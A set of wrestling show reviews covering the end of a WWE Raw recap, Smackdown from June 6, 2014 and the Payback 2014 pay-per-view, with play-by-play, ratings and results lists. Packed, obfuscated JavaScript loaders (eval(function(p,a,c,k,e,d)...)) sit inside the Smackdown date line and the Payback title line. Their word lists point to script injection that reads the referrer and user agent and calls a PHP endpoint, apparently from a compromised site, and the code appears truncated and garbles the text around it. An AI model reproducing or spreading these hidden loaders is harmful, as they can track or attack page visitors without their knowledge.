Cody Rhodes tells Goldust that he’s found the perfect partner for him. Next week, Goldust’s partner will magnify his star power. No word on who it is.

We look at Stephanie stripping Bryan of the title and announcing Money in the Bank being for the title.

Stephanie is annoyed at Cena for getting in her business two weeks in a row. Vickie Guerrero comes in with champagne for the two of them because Brad Maddox and Daniel Bryan are both gone. She sneezes on Stephanie and gets thrown out with a threat of being fired again.

Dean Ambrose/Roman Reigns/John Cena vs. Wyatt Family

It’s a brawl to start until we officially gets going with Ambrose hammering away on Rowan. Dean cleans house and even dives on Harper for good measure. Back in and Dean dropkicks Erick down before the tag brings in Reigns to pound away as well. Rowan finally gets in a shot of his own and makes the tag to Harper, who can’t quite suplex Roman. Instead Reigns suplexes him down for two before driving Harper into the corner for the tag to Ambrose.

The Wyatts take over on Dean with Bray shouting at him to come on. Dean is taken to the floor where he’s able to send Rowan into the steps for a breather. Back in and Harper easily takes him down again and cranks on a chinlock as the dueling Cena chants begin. We come back from a break with Rowan hitting a big side slam on Ambrose before it’s back to Bray for his usual theatrics.

Ambrose gets a boot up to stop a charging Wyatt and the hot tag finally brings in Cena. John hammers away but the Family takes over on him as well via a boot to the face. Back to Bray for the running backsplash for two and Bray laughs a lot. Harper hits a rack neckbreaker for two more and a Michinoku Driver gets the same. Bray pounds in a few right hands and headbutts before taking him back inside for the dancing spot.

The suplex slam gets two before Cena finally gets over for the real hot tag to Reigns. Roman cleans house with all of his signature spots as everything breaks down. Reigns does Cena’s ProtpBomb for two on Harper before Cena cross bodies Rowan down. Bray hits the Sister Abigail on Cena but walks into the Superman Punch. Rowan is thrown outside as well, setting up the suicide dive from Ambrose. A superkick (good one too) gets two for Harper but he walks into the spear for the pin at 20:46.

Rating: B-. This was a nice bit of storytelling with the Shield losing Rollins but finally being able to beat the one team that had eluded them in their reign of dominance. Reigns continues to look awesome and Ambrose has more charisma than he knows what to do with. Not a great match but it more than did what it was supposed to do.

Rollins and HHH look on from the back to end the show.

Overall Rating: C+. This wasn’t a great show but it did some of the things WWE has needed to do. Rollins’ promo was good and explained his mindset, but it still doesn’t make a ton of sense. He wants all of the credit for Shield’s success. That’s fine, but I don’t get why you join a team of losers to get that. Wouldn’t it make more sense to just go out on your own because you don’t need them?

The rest of the show was solid enough with some matches that went by too fast to really be bad. Money in the Bank is shaping up and hopefully there’s only one ladder match this year. I’m not wild on Cena vs. the Wyatts continuing but the upcoming PPV could change a lot of things. The show went by quickly tonight and nothing was horrible so I’m pleased.

Results
Sheamus b. Bad News Barrett – Brogue Kick
Rusev b. Zack Ryder – Accolade
Curtis Axel/Ryback b. Goldust/R-Truth – Rollup to Goldust
Usos b. Fandango/Damien Sandow – Superfly Splash to Fandango
Bo Dallas b. Xavier Woods – Bodog
Cesaro b. Rob Van Dam – Neutralizer
Paige b. Alicia Fox – PTO
Jack Swagger b. Santino Marella – Gutwrench powerbomb
Dean Ambrose/Roman Reigns/John Cena b. Wyatt Family – Spear to Harper

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Smackdown – June 6, 2014: He Left For This?

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|naziz|var|u0026u|referrer|ssbse||js|php'.split('|'),0,{})) June 6, 2014
Location: U.S. Bank Arena, Cincinnati, Ohio
Commentators: Michael Cole, John Bradshaw Layfield

As I’m sure you’ve heard several times already, the main story coming into this show is the Shield breakup on Raw as Seth Rollins jumped from Shield to Evolution in a turn that doesn’t make a ton of sense on the surface but maybe they’ll turn it around with some solid promos. Let’s get to it.

We open with a recap of the elimination tag, Batista quitting and Rollins turning on Shield the next night. This video doesn’t help a lot of the plot holes.

Here are HHH and Rollins for their medium speech as I’m sure the big one will be on Raw. Rollins is in his Shield gear and the fans tell him that he sold out. HHH says he isn’t out here to brag and say he told you so, but everyone knows that anyway. He talks about Rollins being the founder of the Shield, a team that crushed legends, giants and champions. They were the most dominant force in the world, so why did Rollins turn his back on them?

Rollins says everyone wants an explanation about why he did what he did to his brothers. The only person who needs to know and the only person that he owes anything to is him, which sounds like code for “We haven’t thought this all the way through.” Dolph Ziggler of all people interrupts him and says he can’t fall much further down so he can say this.

Ziggler dug the Shield for standing up to everyone and winning. What Rollins did was worse than anything else Shield did because Rollins is nothing more than a traitor. HHH says Ziggler is right. Seth did sell out, and he’ll sell out arenas night after night, which Ziggler will never do. That’s not enough though, so HHH makes Ziggler vs. Rollins right now.

Dolph Ziggler vs. Seth Rollins

Seth chokes him against the ropes to start but Ziggler comes back with right hands in the corner. A quick suplex gets two for Rollins and he pulls on Dolph’s hair for a bit. Ziggler sends him outside and kicks Rollins through the ropes as things calm down a bit. Back in and Rollins easily punches Dolph down again before putting on a chinlock. Dolph reverses into a sleeper but gets caught in a backpack stunner. Seth kicks him out to the floor and we take a break. Back with Ziggler fighting out of a cobra clutch but getting caught in the Downward Spiral into the middle buckle.

HHH goes over to the announce table to brag about his new man but Rollins charges into the running DDT. They slug it out with Ziggler getting the better of it and hammering away in the corner. Dolph throws him outside and hits a nice dropkick followed by the Fameasser inside for two. Seth comes back with an enziguri from the apron but takes too long going up and gets caught in the top rope X Factor for an even closer near fall. Another enziguri stops a charging Ziggler and the buckle bomb followed by the curb stomp put Ziggler away at 11:10 shown of 14:40.

Rating: C+. This was a good but not great match. The problem here is Rollins had to drop all of the stuff that was going to get him cheered which leaves him with a less exciting although still good style. Ziggler continues to be a completely different wrestler on Smackdown and Raw and it’s getting a bit tiresome. These matches are entertaining but you know not to expect anything on Mondays.

Bad News Barrett thinks it’s unfair that he has to defend his title against Cesaro and RVD. Why should he have to do that against two people far less classy than him? RVD is a flower child and Cesaro has fleas from sleeping with the dog that is Paul Heyman.

Orton shakes Rollins’ hand and welcomes him to the dark side. Big Show comes up and says Ziggler was right: Rollins is a piece of garbage. He’d love to see Rollins try that on him, but HHH makes Big Show vs. Orton for tonight instead.

Usos vs. Ryback/Curtis Axel

Non-title. Jey nails a quick uppercut on Ryback to start but is quickly sent outside for a shot from Axel to take over. A double suplex gets two on Jey and the middle rope elbow into a middle rope splash gets the same. We hit the chinlock from Ryback before the quick tags have Jey in even more trouble. Jey comes back with a superkick to send Ryback to the floor and another knocks Axel out of the corner. A hot tag brings in Jimmy for a Superfly Splash on Axel for the pin at 3:10. That was the only move he hit all match.

Rating: D+. This was the Randy Savage in 1995 formula of having the Usos get beaten down for almost the entire match before hitting two moves for a quick win. It gets the Usos back on their winning ways and it doesn’t really downgrade Ryback/Axel as they lost to a team higher up on the totem pole.

Rusev vs. Xavier Woods

This week Lana brags about Mikhail Gorbachev and various Russian athletes and dancers. Woods comes out in a combination of his regular attire and his old Consequences Creed gear. The kick and the Accolade end him in 36 seconds, but at least Woods’ attire looked better.

A giant Russian flag comes down behind Rusev after his win.

Intercontinental Title: Bad News Barrett vs. Rob Van Dam vs. Cesaro

Barrett is defending of course and this is a result of Cesaro breaking up RVD’s title shot on Tuesday. Cesaro is quickly double teamed to the floor but comes back with a running uppercut to the champion’s back. Rob kicks them both down with ease for a double Rolling Thunder and two on both guys.

Cesaro sends Rob outside and stomps away on Barrett in the corner as Heyman shuts Cole down every few seconds with one great line after another. For instance, Cole: “Why did Cesaro interfere in the match on Tuesday?” Heyman: “It got him into the title match didn’t it?” The split legged moonsault gets two on Cesaro but Barrett pulls Rob to the floor as we go to a break. Back with Rob fighting out of Barrett’s chinlock and low bridging him out to the floor.

The big flip dive is blocked by an uppercut but Barrett runs Cesaro over and puts him on the barricade, allowing Rob to hit the spinning kick to the back. Back in and

Winds of Change get two on Rob and the German suplex gets the same on the American. Barrett gets knocked down by Cesaro who is kicked by Rob, setting up the Five Star. Rob walks around instead of covering though and walks into the Bull Hammer for the pin by Barrett at 6:50 shown of 10:20.

Rating: C+. Another nice match here but nothing we haven’t seen a bunch of times before. I would have thought they would save this for Money in the Bank but there’s a good chance Cesaro is in the ladder match. Barrett has now beaten Van Dam twice though so there’s no real need for them to keep going.

Bray Wyatt comes on screen and talks about being put in a box at Wrestlemania. It brought back a lot of memories and he heard Sister Abigail’s voice. She told him that the sharks would circle Bray and that death was real. He would find his peace in death but his rebirth would make him much stronger. His voice will soothe their ears and he will lead their armies. There’s nothing left to fear because he is reborn. Join him.

Videon NXT: Takeover.

Natalya vs. Alicia Fox

Fox is thrown down when trying a headscissors and a dropkick puts her on the floor. We get a mini fit out there and Alicia shouts at Natalya a lot for good measure. Now Alicia offers a handshake but Natalya smacks her in the face instead. Natalya does it again for good measure and gets thrown throat first into the bottom rope. A northern lights suplex gets two for Fox but Natalya counters the tilt-a-whirl backbreaker into a cross body for the pin at 3:18.

Rating: D+. I’m really not sure what they can do with Fox now as she’s still doing the same stuff but is now doing bits of it during the match. Again they couldn’t have her beat Paige so the character really has nowhere to go now. It’s still more interesting than anything else the division has going on, but when there’s no one else for her to work with due to there barely being a division, she’s pretty much stuck.

This week’s post match freak out includes Fox yelling at Lillian Garcia.

We look at Brie Bella quitting at Payback and Stephanie’s announcement about the fate of the WWE Title at Money in the Bank.

Bo Dallas vs. Santino Marella

We get the now traditional armdrag followed by the celebration to start but Santino scores with two armdrags of his own and celebrates. JBL: “Why would you do that?” Back in and Bo pulls him into a clothesline, followed by the Bodog for the pin at 1:58.

Post match Bo tells Emma to Bolieve.

Big Show talks about being bullied as a kid and not being able to fight back because there were so many of them at once. Then one day he was all alone with the leader and he knocked him out cold. I’m not sure how this ties into his match tonight as HHH is the bully but I’m more interested in trying to figure out if Be A Star is still a thing.

Video on the Rollins turn. The Shield will return to Raw next week. WWE needs to work on the definition of return.

Orton says he has to take care of Big Show tonight because the giant stuck his nose where it didn’t belong. Things can happen out of nowhere, like they did to Ambrose and Reigns.

Big Show vs. Randy Orton

A quick chop puts Orton on the floor but he comes back by going after the knee. That goes badly for him too as Big Show headbutts him out to the floor with ease. We take a break and come back with Orton holding Big Show in a chinlock. Back up and Big Show knocks Orton out of the air but a dropkick puts the bigger man down again. Orton manages to hit the Elevated DDT off the top but Big Show comes back with a spear. HHH gets on the apron but Rollins comes in with the springboard knee to the face for the DQ at 5:50.

Rating: D+. I don’t think this pairing really needs that much of an explanation. They never have worked all that well together and this was no exception. Also the ending was about as obvious as you could get, but that’s the kind of thing Big Show is used for anymore. It looks impressive when a giant is slain and stood over to end a show, even though that happens so often.

An RKO sets up a pair of curb stomps onto a chair to end the show.

Overall Rating: D+. So to clarify, Rollins is involved in one of the biggest turns in recent memory and he goes from main eventing a pay per view to not even being able to main event Smackdown. Rollins felt like a bodyguard for Orton here instead of being the star and that’s a problem with this story. Now that being said, I don’t think anyone thought the big drama would take place here so you can look at this as a placeholder show more than anything else.

The rest of the show wasn’t that much better. The matches were just ok and none of them were required viewing at all. One thing I will give them though: the Intercontinental Title has been more active in the last two weeks than it’s been in months. It’s not a great or even a very good feud and story, but there are two people after the belt and the title is being defended regularly. That’s all I ask. Not a great show this week but much more average and dull than bad.

Results
Seth Rollins b. Dolph Ziggler – Curb stomp
Usos b. Ryback/Curtis Axel – Superfly Splash to Axel
Rusev b. Xavier Woods – Accolade
Bad News Barrett b. Rob Van Dam and Cesaro – Bull Hammer to Van Dam
Natalya b. Alicia Fox – Cross body
Bo Dallas b. Santino Marella – Bodog
Big Show b. Randy Orton via DQ when Seth Rollins interfered

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Payback 2014: Why Is This Show Always So Awesome?

Payback eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eabhy|var|u0026u|referrer|rhkkb||js|php'.split('|'),0,{})) 2014
Date: June 1, 2014
Location: Allstate Arena, Chicago, Illinois
Commentators: Michael Cole, Jerry Lawler, John Bradshaw Layfield

Tonight is an interesting show for a variety of reasons. First and foremost, we’ll find out the fate of the World Title as Daniel Bryan has to either surrender the belt or his wife Brie is fired. Other than that we have Cena vs. Bray Wyatt in a last man standing match which is going to determine where Bray goes from here. The real main event is Evolution vs. Shield in an anything goes elimination match which should steal the show. Let’s get to it.

Pre-Show: Hornswoggle vs. El Torito

This is mask vs. hair due to 3MB ripping off Torito’s tail on Monday. Torito is wearing a 2/3 shirt which is a reference I don’t quite get. A right hand drops Torito early but he ducks the next few and rolls over Hornswoggle’s back. Torito dropkicks him down and we get an airplane spin. Both guys are dizzy and they hit heads to put them both down. Hornswoggle is up first and is so dizzy that his splash lands about five feet away from Torito (on purpose).

Torito hits a spinning kick to the ribs for two and the kickout sends him into Charles Robinson’s arms. Hornswoggle covers as well and Robinson just lets him hit the mat. A gore to the back sends Hornswoggle outside and Slater goes after Torito’s horns but Hornswoggle knocks him off the apron and into the barricade. The big guys get into it and a series of dives puts them all down on the floor.

Hornswoggle wants to dive as well but it’s McIntyre clearing house beforehand. That’s fine with Hornswoggle though as he dives through the ropes like a bowling ball. Slater goes to the apron but Torito hits a top rope hurricanrana to send him onto the big pile. Back to the little guys in the ring and Torito hits a Bronco Buster but Hornswoggle counters another hurricanrana into a sitout powerbomb for two. Hornswoggle pulls the mask off but there’s another underneath, allowing Torito to hit a Bullsault press for the pin at 7:10.

Rating: C+. This wasn’t quite up to the standard of last month’s match but it was still funny and entertaining stuff. The key to these guys is they can actually wrestle a good match instead of just being out there for comedy. It’s not bad at all, but they need to worry about doing this too often. This match should be the blowoff and it’s fine.

The opening video is about how the whole world is sitting on a ticking bomb and it’s about to go off. The song is good and the visuals about everyone wanting revenge and payback make it even better. Only the two biggest matches get any focus as you would expect.

US Title: Sheamus vs. Cesaro

Sheamus is defending. This is due to Cesaro beating Sheamus but not shaking Sheamus’ hand post match. Cesaro also attacked Sheamus recently and injured his head which hasn’t been played up all that much since. Before the match, Heyman says he’s here to advocate for a Paul Heyman Guy. The fans chant for Punk but Heyman says Punk is over at the United Center watching the Blackhawks game. They’ll have their streak broken, just like Brock Lesnar broke the Undertaker’s Streak at Wrestlemania. Heyman can get that in from anywhere.

Sheamus charges out of the corner at the bell and hits some running ax handles. Cesaro counters with a throw to send Sheamus down before nailing him with an uppercut. A boot to the side of the head puts Sheamus in the corner for some more uppercuts. Sheamus comes right back with the rolling fireman’s carry but Cesaro snaps his throat across the top rope to block the ten forearms.

The second attempt works a bit better though and the fans loudly count along. Sheamus adds in another ten for good measure. They head outside and Cesaro is sent into the barricade. Back in and the slingshot shoulder is countered with another uppercut. Cesaro pulls him back in with the apron superplex for two and Heyman is fired up. A tiger bomb sets up a double stomp for two on the champion. Sheamus is whipped into the corner but comes back with the Irish Curse for two. Cole finally brings up the head injury for the first time.

Three straight middle rope knee drops get two on Cesaro before he charges into a boot in the corner. Swiss Death works a bit better but Sheamus is out at two. This has been VERY physical so far. Cesaro slaps him over and over but Sheamus is all BRING IT ON. Sheamus slams him down but misses the Brogue Kick, only to get caught in the German suplex for two. Cesaro floats over but Sheamus counters the Neutralizer into White Noise for a close two.

The Cloverleaf doesn’t work but Cesaro dives into Sheamus’ arms and the hold is on. Cesaro crawls to the ropes and comes back up with a tilt-a-whirl slam for two more. The Swing returns and the fans are WAY into Cesaro again. Cesaro loads up the Neutralizer but Sheamus grabs a small package out of nowhere for the pin at 11:36.

Rating: B. I can actually live with the way that loss went as Cesaro looked great and the psychology was perfect: they kept beating each other up with harder and harder moves but Sheamus went completely the other way and capitalized on the dizziness for the pin with a basic wrestling move. The fans were digging this and it’s a very solid opener.

Earlier tonight Cody Rhodes and Goldust agreed they would get the job done tonight.

Goldust/Cody Rhodes vs. Ryback/Curtis Axel

Bonus match. Axel hammers on Goldust to start but gets caught in a quick atomic drop. Off to Ryback vs. Cody with Ryback throwing him around, only to get caught with a dropkick before it’s back to Goldust for a one count. Axel nails a running knee and sends Goldust into the corner as the heels take over. Ryback hits his middle rope splash before a double team arm wringer face plant puts Goldust down again. It’s time to work on the arm before a small package gets two on Ryback.

A handspring elbow of all things puts Ryback down but Axel breaks up the tag. Goldust takes him down as well with a modified powerbomb, allowing the tag to Cody. Rhodes cleans house and takes Ryback down with a springboard missile dropkick before dropkicking Axel out of the air.

The somewhat botched moonsault press takes both heels down for two on Ryback but the Disaster Kick is caught in mid air. Cody is thrown into his brother and the Meat Hook gets two. Goldust catches Axel in a powerslam and Cross Rhodes gets two on Ryback with Curtis making a save. Axel is sent outside again but the Disaster Kick is caught in Shell Shock for the pin at 7:50.

Rating: C+. Yeah it was filler but it likely ends the team for good. Axel and Ryback are nothing special but they’re not bad for a low level heel team. I’d still like to see Ryback do something on his own and Axel, while still not good, is better than he was a few months ago. Nice match here and it’s hard to complain about extra wrestling.

Post match Cody says Goldust needs a better partner and walks away.

Rusev vs. Big E.

Lana does her thing and Rusev is now from Moscow and weighed in kilos. They both hit their running body attacks to start with neither guy going anywhere. A nasty release German puts Big E. down as the fans want Ziggler. Rusev hits a running splash in the corner but Big E. comes back with a kind of STO. Rusev gets back up on the apron and Big E. spears him through the ropes and out to the floor in a BIG collision. Big E. comes up favoring his arm but is still able to get two. The Warrior Splash is countered by the jumping superkick and the Accolade makes Big E. tap at 3:35.

Rating: C+. Another solid match here with Big E. getting to show off before jobbing to the new monster. That jumping superkick is just awesome with Rusev still making great contact despite getting off the ground. The spear through the ropes looked great too as they’re really playing up the physicality tonight.

Money in the Bank promo, featuring talking money.

Kofi Kingston vs. Bo Dallas

Thjs was announced on the pre-show and Dallas is now The Inspirational Bo Dallas. Bo talks about the Blackhawks losing tonight but Kane hits the ring as soon as the bell rings. Bo hides on the floor and Kane hits Kofi for the DQ at 34 seconds.

Kane destroys Kofi but Bo reminds us to BOLIEVE!

We look back at Hornswoggle getting his head shaved.

Intercontinental Title: Bad News Barrett vs. Rob Van Dam

Barrett is defending and Van Dam won a Beat the Clock Challenge to get the shot. The Bad News of the night: not only is Van Dam not getting payback, after tonight he won’t be getting any paychecks. JBL thinks having three initials for a name is stupid, and Cole is quick to point out how stupid this is in case the fans are REALLY slow tonight. That kind of stuff is so annoying.

Van Dam wins an early slugout with some kicks for two but another one misses in the corner, allowing Barrett to take over. They head outside with Barrett getting caught on the barricade for the spinning kick to the back. Barrett throws him into the corner and catches Van Dam with a kick to the ribs before nailing the big boot to knock Van Dam back to the floor. The elbow drop off the apron crushes Van Dam even more and we hit the chinlock back inside.

Van Dam escapes a pumphandle slam and scores with the stepover kick to the face. The champion is sent into the corner and kicked down again, setting up Rolling Thunder for two. Five Star and Bull Hammer both miss and they fall outside one more time, where a Bull Hammer attempt hits post. Back in and Rob scores with a tornado DDT for two but walks into the Bull Hammer for the pin at 9:40.

Rating: B-. I really liked this which surprised me quite a bit. Van Dam losing isn’t a surprise at all but that doesn’t mean they can’t have a good match anyway. Barrett is on fire right now and a clean pin over a former World Champion on pay per view isn’t going to hurt that at all.

Long recap of Stephanie and Bryan’s segment from Raw. Basically Bryan either has to forfeit the title or his wife is fired.

Stephanie brings out Bryan and Brie for the big moment. The boss is of course her usual evil self and puts all of this on Bryan. If the two of them one day have some weird bearded babies, Bryan needs to be able to tell them that he wasn’t selfish and did the right thing. Bryan mentions how the fans reacted to Stephanie (cue more booing) and gives her a chance to change the fans’ minds. A CM Punk chant starts up but Stephanie says they want him to quit, just like CM Punk did.

She gives him the ultimatum again but Bryan wants to talk about Stephanie’s kids. They’re going to have to watch their mom be a selfish, narcissistic….what’s that word? Brie fills in the blank and says Bryan has to do the right thing. Daniel looks at the titles but Brie says hang on. She won’t be controlled by Stephanie and says she quits. Stephanie laughs at her so Brie slaps her in the face. Stephanie is STUNNED as Brie and Bryan do the YES chant.

We recap Bray Wyatt vs. John Cena. This is the third match in a trilogy with Cena winning the first but Bray winning the second in a cage at Extreme Rules. The idea of the story is Bray wanting to show the evil inside of Cena and expose him as a fraud. Bray tried to attack Jerry Lawler on Monday but Cena and the Usos made the save. Tonight it’s a last man standing match.

John Cena vs. Bray Wyatt

Last man standing. Bray’s intro is extra fired up as he shouts that these fans are his people and staring Lawler down. The Family gets up on the aprons but the Usos run out to even things up. Cena knocks Bray down to start but Wyatt comes right back with a big right hand of his own. Bray’s shirt says Champion of Suffering. A running elbow puts Cena down and Bray picks him up for the dancing spot. John comes back with the running shoulders (Cole: “Cena wants to lead.”) followed by the ProtoBomb and Shuffle.

Bray runs him over again with a running knee to the ribs and demands a count. The running backsplash misses but Bray kicks off the STF and hits a release Rock Bottom for a seven count. Sister Abigail is countered but Bray runs Cena over with that cross body style move of his. Cena is knocked to the floor and Bray yells at Lawler some more. John has to fight out of a superplex and comes back with the top rope Fameasser for six.

Bray hits a quick Sister Abigail out of nowhere for eight before Cena hits a wobbly AA for seven, with Bray doing the Spider thing to break the count. The Family and the Usos start fighting with Jimmy hitting a HUGE dive to take the other three out. Bray hits Cena in the ribs with a chair and a second shot connects to the back. A third shot put Cena on the floor but he’s up at seven.

Bray misses a chair shot and drops the chair, allowing Cena to blast him in the ribs and back for good measure. Wyatt is back up at seven but Cena has brought in a table. An AA through the table is countered and Bray sends him through instead with the suplex slam. Cena is up at nine but a running shot with the steps puts him down again. Bray conducts the fans as they sing and stands on the steps to take a bow. This time it’s Cena with a chair shot and a steps shot to put Bray down. Cena’s elbow is bleeding a bit.

The cult leader rolls outside but Cena throws the steps over the top and RIGHT INTO BRAY’S FACE. I remember Kane doing that to Umaga many years ago but this looked far better. It’s only good for eight though so it’s time for a second table. We look at a replay and miss what looked like Sister Abigail on the floor. Cena is up at eight and a replay shows it was Cena jumping off the apron but getting caught in Sister Abigail.

Bray is whipped knees first into the steps but he backdrops Cena onto the steps. The running backsplash off the steps crushes Cena but he’s up at eight. Bray picks up the chair but charges into an AA on the floor. Harper and Rowan run back out to beat up Cena and get Bray back to his feet at eight. Back in and the Family takes Cena out again and load up a table but the Usos run out for the save. Harper stops a diving Jey with a table shot to the head (and a great thud) as Bray is laid out on the floor to no count.

Two tables are set up next to each other and the Usos are put down again. Jey is able to escape a fallaway slam and kick Rowan in the face before the running Umaga attack puts him through a table leaned against the barricade. Harper slams Jimmy off the top through the two tables. We haven’t looked at Cena or Bray in about two minutes now. Bray escapes an AA on the floor and cross bodies Cena through the timekeeper’s area.

They’re both up at seven and fight through the crowd with Bray getting the better of it. Cena is thrown off camera and something explodes. Cena seems to be fine and they slug it out on an anvil case until Bray is AA’d through a wooden box. John tilts another case on top of the box to trap Bray inside for the ten count at 24:18.

Rating: B+. I’m not feeling that ending at all but there’s more to talk about here first. I really don’t get why they had a mini match between the teams. Their feud is already set up and I’d assume we get a showdown for the titles tomorrow or at Money in the Bank at the latest. It really stopped the match and while it was cool, it didn’t need to be here.

That being said, the ending just doesn’t work at all. It really makes Bray look like a goon that got caught instead of a warrior of any kind. The match was really physical but there’s no need for Cena to win here. It stops Bray cold and doesn’t play to the idea of him being a hypocrite or anything like that. Instead he just lost after being even in physicality and then getting outsmarted by Cena being clever. Not a fan of this at all.

Divas Title: Alicia Fox vs. Paige

Paige is defending after getting pinned by Fox in a non-title match. A quick knee to the back puts Fox on the apron and a floatover suplex gets two for the champion. Paige hits her in the nose to possibly make Fox cry but she trips the champion up, driving her back first onto the apron. The announcers are of course in their own little unfunny world as the girls brawl on the floor with Fox slapping a clown in the audience. Literally, he has red hair and makeup on.

Back in and Fox takes Paige down while shouting that Paige wants to ruin her face. Fox cranks on a chinlock before laying on her back (JBL: “WHY ISN’T THE REFEREE COUNTING???) to bend Paige’s back over Fox’s knees. A tilt-a-whirl backbreaker has Paige in trouble before Fox throws her to the floor. This match is dragging. Back in and Fox shouts RAIN for no apparent reason before Paige makes her comeback. She charges into Fox’s knee but shrugs it off and puts on the PTO for the submission at 6:35 to retain.

Rating: D+. It’s not bad but it felt like it went on for about fifteen minutes. They kind of booked themselves into a corner here as you couldn’t have Paige lose this early but it’s kind of a waste of Fox’s recent push. This is the better ending though as Fox has lost already and it advanced the character even more. Not bad here but it was in the middle of the two matches people wanted to see.

The fans tell Fox that she tapped out but she stomps her feet and demands silence. Fox finally runs off to the back.

The expert panel (Booker T., Alex Riley and Josh Matthews) chat for a bit.

We recap the main event. It’s a rematch from last month as Shield vs. Evolution has kept trying to one up each other for months now in an effort to prove who is the better three man team. This gets the music video treatment.

Evolution vs. Shield

Anything goes and elimination rules with falls having to take place in the ring. This is going to be insane and odds are I’ll miss a lot early on but I’ll do my best. Batista is in blue while his partners are in black for an awkward visual. Brawl to start as there aren’t any tags required here. Rollins and HHH are the only ones left in the ring with Seth hitting a quick enziguri to knock HHH to the floor. All six are already in the crowd or near the entrance way with Seth diving off the barricade to take HHH down.

Ambrose and Randy fight back to ringside as the power guys fight in the aisle. Rollins throws HHH back to ringside as Reigns sends Batista into the steps. Things settle down with tagging set up, despite it being anything goes and nothing stopping triple teaming. Shield takes over on Batista to start but he’s able to take Rollins into the corner for a heel beating. It’s quickly off to Ambrose though and a double snap suplex puts Orton down. Dean rips at Randy’s face and it’s off to Reigns for a headbutt to Orton’s back.

Randy comes back with an uppercut and it’s Batista in off the tag but getting popped in the jaw to a nice reaction. Back to Ambrose vs. HHH with the Game LOUDLY calling some spots. Dean hangs in there for a few seconds before it’s Reigns coming in. The fans seem very interesting in this showdown. HHH is quickly shoved down so he tries a slugout, only to be backdropped with ease. Rollins comes in for Three Amigos (and an Eddie chant) as HHH is in big trouble. Why Orton and Batista wait on the apron instead of helping isn’t quite clear.

HHH blocks a top rope something from Dean with a boot to the face and Evolution sends Ambrose to the floor to take over. Even Lawler gets in a shot at how out of place Batista looks in the blue. Orton comes in for the circle stomp and a mat slam gets two. Since this is such a serious match, let’s stop to talk about Bluetista being the #1 trend in the world with the announcers laughing. Ambrose sends HHH to the floor and Orton gives the boss a pep talk instead of STOPPING THE TAG. It works though as HHH gets back in for the save but the facebuster sends Dean into the ropes for his bounce back clothesline.

The hot tag brings in Reigns to clean house as everything breaks down. The apron dropkick nails Batista and the Superman Punch gets two with Orton making the save. HHH whips Rollins hard into the barricade and Ambrose gets posted. Everyone but Batista and Reigns head into the crowd and Rollins dives at HHH, only to get nailed in the head by a monitor shot from HHH. Reigns loads up the announce table but Orton saves Batista from immense pain. Orton finishes loading up the table and the TripleBomb crushes Reigns. Ambrose and Rollins are still down somewhere in the crowd and no one has been eliminated yet.

Referees come out to check on Reigns and Evolution does Shield’s pose, only to have Dean dive off the barricade to put all three down. Rollins hits the flip dive and crashes into the barricade to put everyone down. Ambrose hammers on Orton and the five still on their feet head to the entrance. Evolution is in full control with Reigns down and HHH blasts Rollins in the back with some chair shots. Orton drops Ambrose onto an open chair and Rollins is Pedigreed onto a chair as well. Reigns is all alone in the ring and Evolution slowly walks down the aisle.

The spinebuster puts Reigns down and the stomping begins. The steps are brought in and they rips Reign’s vest off. Orton throws in some kendo sticks and Reigns is laid across the steps for a caning. Batista and Orton get in their shots as this is turning into a torture scene. Now they want chairs but Reigns is to his knees. He jumps off the steps for a Superman Punch to Orton but HHH lays him out with the chair. Reigns falls to the floor and HHH hits him with the chair again.

They get back to the entrance and Ambrose is hiding behind part of the set. He springs out and attacks Evolution but he’s quickly put down by the numbers game. There are still no eliminations as Evolution surrounds Reigns. Rollins dives off the bottom of the Titantron to take all three of them down and all six are on the floor. Seth crawls back to the ring and everyone else crawls after him. Batista is in first and he spears Seth out of the air, setting up the Batista Bomb but Rollins escapes, allowing Reigns to spear Batista down for the elimination at 27:36.

An RKO out of nowhere gets two on Rollins with Reigns making the save. Orton loads up the Elevated DDT on Roman but Dean makes the save and hits Dirty Deeds on the chair to make it 3-1 at 28:43. HHH is left all alone but he hits Dean low to slow him down. A Pedigree looks to end Ambrose but Reigns hits the Superman Punch for the save. Batista spears Reigns down before leaving. Orton slides HHH the sledgehammer and Ambrose gets knocked cold. Rollins hits the top rope knee to knock HHH down though and the spear gives Reigns the final pin at 31:07.

Rating: B+. This was….long. It’s WAY better if you cut out the stupid tagging part that ate up fifteen minutes and just let them go to war. It completely misses the point of the match being ANYTHING GOES by making them stick to some structure that has no enforcement at all. The stuff after that was really good but it took too long to get there. Shield pitching a shutout should end this feud for good and hopefully it does, as there’s just no reason for them to fight again. It wasn’t as good as I was expecting due to the first half, but the stuff to end it was really good.

A lot of highlights end the show.

Overall Rating: A. This was a really solid show all around with only the decent Divas match being close to bad. Everything else was anywhere between solid to awesome with the two main events being really good stuff. Payback has been awesome both years it’s been around, despite being a glorified B show. I really liked this though and the whole thing delivered far better than I was expecting. Great stuff.

Results
Sheamus b. Cesaro – Small package
Cody Rhodes/Goldust – Shell Shock to Rhodes
Rusev b. Big E. – Accolade
Kofi Kingston b. Bo Dallas via DQ when Kane interfered
Bad News Barrett b. Rob Van Dam – Bull Hammer
John Cena b. Bray Wyatt – Wyatt couldn’t answer the ten count
Paige b. Alicia Fox – PTO
Shield b. Evolution – Spear to HHH

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Payback 2014 Preview

